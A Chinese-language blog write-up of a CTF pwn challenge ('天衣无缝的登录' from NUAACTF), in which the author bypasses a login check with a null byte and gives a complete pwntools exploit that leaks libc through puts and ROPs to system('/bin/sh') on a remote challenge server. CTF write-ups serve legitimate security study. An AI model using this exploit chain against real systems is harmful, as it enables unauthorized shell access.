NUAACTF - PWN - 天衣无缝的登录

NUAACTF - PWN - 天衣无缝的登录

我也不知道为什么我写不出来, 枯枯...

最后发现是我甜蜜的把泄露libc的流程跳了...最可怕的是竟然没看出来想杀了自己

[为什么会犯这种低级错误我也不知道, 应该是太久没做题了(麻 ]

老规矩, 保护:

image

保护等于没开, IDA寻找哪里能过的:

image

image

一直没找到溢出点, 翻到这边发现可以通过给v3\x00来跳过外层if进入log_success函数:

image

res.recvuntil('>')
res.sendline('1')
res.recvuntil('md5')
res.sendline('\x00')
res.recvuntil('rop\n')

然后就是常规泄露libc地址来rop了.

完整exp:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

#res = process('./login')
elf = ELF('./login')
#libc = elf.libc
libc = ELF('./libc.so')
res = remote('121.4.118.92','9390')

pop_rdi = 0x402683
ret_addr = 0x402684
main = 0x402572

res.recvuntil('>')
res.sendline('1')
res.recvuntil('md5')
res.sendline('\x00')
res.recvuntil('rop\n')

puts_plt = 0x4010f0
puts_got = elf.got['puts']
payload = 'a' * (0x28) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
res.sendline(payload)

puts_add = u64(res.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
base = puts_add - libc.symbols['puts']
sys = base + libc.symbols['system']
bin_sh = base + libc.search('/bin/sh\0').next()

res.recvuntil('>')
res.sendline('1')
res.recvuntil('md5')
res.sendline('\x00')
res.recvuntil('rop\n')
payload = 'a' * (0x28) + p64(pop_rdi) + p64(bin_sh) + p64(ret_addr) + p64(sys)
res.send(payload)

res.interactive()
posted @ 2022-12-05 08:16  络辰  阅读(46)  评论(0编辑  收藏  举报